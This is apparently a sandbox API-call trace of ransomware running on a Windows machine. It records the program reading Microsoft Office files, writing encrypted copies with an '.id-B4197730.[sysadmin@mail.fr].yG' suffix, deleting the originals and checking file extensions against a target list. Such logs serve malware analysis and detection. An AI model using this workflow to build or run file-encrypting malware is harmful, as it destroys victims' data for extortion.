	[0051.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.050] GetLastError () returned 0x0
	[0051.050] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xd2f, lpOverlapped=0x0) returned 1
	[0051.052] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xd30, lpOverlapped=0x0) returned 1
	[0051.052] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.052] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0051.052] SetEndOfFile (hFile=0x34c) returned 1
	[0051.053] CloseHandle (hObject=0x34c) returned 1
	[0051.053] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.053] SetEndOfFile (hFile=0x2ec) returned 1
	[0051.054] CloseHandle (hObject=0x2ec) returned 1
	[0051.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1
	[0051.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.055] lstrlenW (lpString=".doc") returned 4
	[0051.055] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.055] lstrlenW (lpString=".docx") returned 5
	[0051.055] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.055] lstrlenW (lpString=".pdf") returned 4
	[0051.055] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.055] lstrlenW (lpString=".xls") returned 4
	[0051.055] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.055] lstrlenW (lpString=".xlsx") returned 5
	[0051.055] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.055] lstrlenW (lpString=".ppt") returned 4
	[0051.055] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.055] lstrlenW (lpString=".zip") returned 4
	[0051.055] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.055] lstrlenW (lpString=".rar") returned 4
	[0051.055] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.055] lstrlenW (lpString=".bz2") returned 4
	[0051.055] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.055] lstrlenW (lpString=".7z") returned 3
	[0051.056] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.056] lstrlenW (lpString=".dbf") returned 4
	[0051.056] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.056] lstrlenW (lpString=".1cd") returned 4
	[0051.056] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.056] lstrlenW (lpString=".jpg") returned 4
	[0051.056] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.056] lstrlenW (lpString=".doc") returned 4
	[0051.056] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.056] lstrlenW (lpString=".docx") returned 5
	[0051.056] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.056] lstrlenW (lpString=".pdf") returned 4
	[0051.056] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.056] lstrlenW (lpString=".xls") returned 4
	[0051.056] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.056] lstrlenW (lpString=".xlsx") returned 5
	[0051.056] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.056] lstrlenW (lpString=".ppt") returned 4
	[0051.056] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.056] lstrlenW (lpString=".zip") returned 4
	[0051.056] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.056] lstrlenW (lpString=".rar") returned 4
	[0051.056] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.056] lstrlenW (lpString=".bz2") returned 4
	[0051.056] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.056] lstrlenW (lpString=".7z") returned 3
	[0051.056] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.056] lstrlenW (lpString=".dbf") returned 4
	[0051.056] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.056] lstrlenW (lpString=".1cd") returned 4
	[0051.057] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0051.057] lstrlenW (lpString=".jpg") returned 4
	[0051.057] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.057] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0051.057] lstrlenW (lpString="AppXManifest.common.xml") returned 23
	[0051.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0051.057] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=2173046) returned 1
	[0051.057] CloseHandle (hObject=0x2ec) returned 1
	[0051.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220
	[0051.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0051.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0051.058] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fc64 | out: lpNewFilePointer=0x0) returned 1
	[0051.058] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fc24 | out: lpNewFilePointer=0x0) returned 1
	[0051.058] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c2fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a0d058*, lpNumberOfBytesRead=0x2c2fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0051.085] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fc24 | out: lpNewFilePointer=0x0) returned 1
	[0051.085] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a4d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c2fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a4d058*, lpNumberOfBytesRead=0x2c2fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0051.104] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c2fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0051.104] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fc24 | out: lpNewFilePointer=0x0) returned 1
	[0051.104] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a8d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c2fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a8d058*, lpNumberOfBytesRead=0x2c2fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0051.142] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.142] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x2c2fca8, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fca8*=0xc011a, lpOverlapped=0x0) returned 1
	[0051.444] SetEndOfFile (hFile=0x2ec) returned 1
	[0051.498] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4362ca0
	[0051.502] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fc74 | out: lpNewFilePointer=0x0) returned 1
	[0051.502] WriteFile (in: hFile=0x2ec, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c2fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2c2fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0051.503] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fc74 | out: lpNewFilePointer=0x0) returned 1
	[0051.503] WriteFile (in: hFile=0x2ec, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c2fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2c2fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0051.505] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fc74 | out: lpNewFilePointer=0x0) returned 1
	[0051.505] WriteFile (in: hFile=0x2ec, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c2fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2c2fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0051.507] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0051.508] CloseHandle (hObject=0x2ec) returned 1
	[0052.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.213] lstrlenW (lpString=".doc") returned 4
	[0052.213] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0052.213] lstrlenW (lpString=".docx") returned 5
	[0052.213] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0052.213] lstrlenW (lpString=".pdf") returned 4
	[0052.213] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0052.213] lstrlenW (lpString=".xls") returned 4
	[0052.213] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0052.213] lstrlenW (lpString=".xlsx") returned 5
	[0052.213] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0052.213] lstrlenW (lpString=".ppt") returned 4
	[0052.213] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0052.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.213] lstrlenW (lpString=".zip") returned 4
	[0052.213] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0052.213] lstrlenW (lpString=".rar") returned 4
	[0052.213] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0052.213] lstrlenW (lpString=".bz2") returned 4
	[0052.213] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0052.213] lstrlenW (lpString=".7z") returned 3
	[0052.213] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0052.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.213] lstrlenW (lpString=".dbf") returned 4
	[0052.213] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0052.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.213] lstrlenW (lpString=".1cd") returned 4
	[0052.213] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0052.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.213] lstrlenW (lpString=".jpg") returned 4
	[0052.213] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0052.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.216] lstrlenW (lpString=".doc") returned 4
	[0052.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0052.216] lstrlenW (lpString=".docx") returned 5
	[0052.216] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0052.216] lstrlenW (lpString=".pdf") returned 4
	[0052.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0052.216] lstrlenW (lpString=".xls") returned 4
	[0052.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0052.216] lstrlenW (lpString=".xlsx") returned 5
	[0052.216] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0052.216] lstrlenW (lpString=".ppt") returned 4
	[0052.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0052.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.216] lstrlenW (lpString=".zip") returned 4
	[0052.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0052.216] lstrlenW (lpString=".rar") returned 4
	[0052.217] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0052.217] lstrlenW (lpString=".bz2") returned 4
	[0052.217] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0052.217] lstrlenW (lpString=".7z") returned 3
	[0052.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0052.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.217] lstrlenW (lpString=".dbf") returned 4
	[0052.217] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0052.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.217] lstrlenW (lpString=".1cd") returned 4
	[0052.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0052.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74
	[0052.217] lstrlenW (lpString=".jpg") returned 4
	[0052.217] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0052.217] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.217] lstrlenW (lpString="AN00010_.WMF") returned 12
	[0052.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.217] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3026) returned 1
	[0052.217] CloseHandle (hObject=0x2ec) returned 1
	[0052.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220
	[0052.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.218] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.218] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0052.218] GetLastError () returned 0x0
	[0052.218] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xbd2, lpOverlapped=0x0) returned 1
	[0052.258] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xbe0, lpOverlapped=0x0) returned 1
	[0052.259] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.259] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.259] SetEndOfFile (hFile=0x384) returned 1
	[0052.259] CloseHandle (hObject=0x384) returned 1
	[0052.260] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.260] SetEndOfFile (hFile=0x2ec) returned 1
	[0052.261] CloseHandle (hObject=0x2ec) returned 1
	[0052.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1
	[0052.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.262] lstrlenW (lpString=".doc") returned 4
	[0052.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.262] lstrlenW (lpString=".docx") returned 5
	[0052.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.262] lstrlenW (lpString=".pdf") returned 4
	[0052.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.262] lstrlenW (lpString=".xls") returned 4
	[0052.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.262] lstrlenW (lpString=".xlsx") returned 5
	[0052.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.262] lstrlenW (lpString=".ppt") returned 4
	[0052.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.262] lstrlenW (lpString=".zip") returned 4
	[0052.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.262] lstrlenW (lpString=".rar") returned 4
	[0052.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.262] lstrlenW (lpString=".bz2") returned 4
	[0052.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.262] lstrlenW (lpString=".7z") returned 3
	[0052.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.262] lstrlenW (lpString=".dbf") returned 4
	[0052.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.262] lstrlenW (lpString=".1cd") returned 4
	[0052.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.262] lstrlenW (lpString=".jpg") returned 4
	[0052.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.263] lstrlenW (lpString=".doc") returned 4
	[0052.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.263] lstrlenW (lpString=".docx") returned 5
	[0052.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.263] lstrlenW (lpString=".pdf") returned 4
	[0052.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.263] lstrlenW (lpString=".xls") returned 4
	[0052.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.263] lstrlenW (lpString=".xlsx") returned 5
	[0052.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.263] lstrlenW (lpString=".ppt") returned 4
	[0052.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.263] lstrlenW (lpString=".zip") returned 4
	[0052.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.263] lstrlenW (lpString=".rar") returned 4
	[0052.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.263] lstrlenW (lpString=".bz2") returned 4
	[0052.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.263] lstrlenW (lpString=".7z") returned 3
	[0052.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.263] lstrlenW (lpString=".dbf") returned 4
	[0052.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.263] lstrlenW (lpString=".1cd") returned 4
	[0052.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
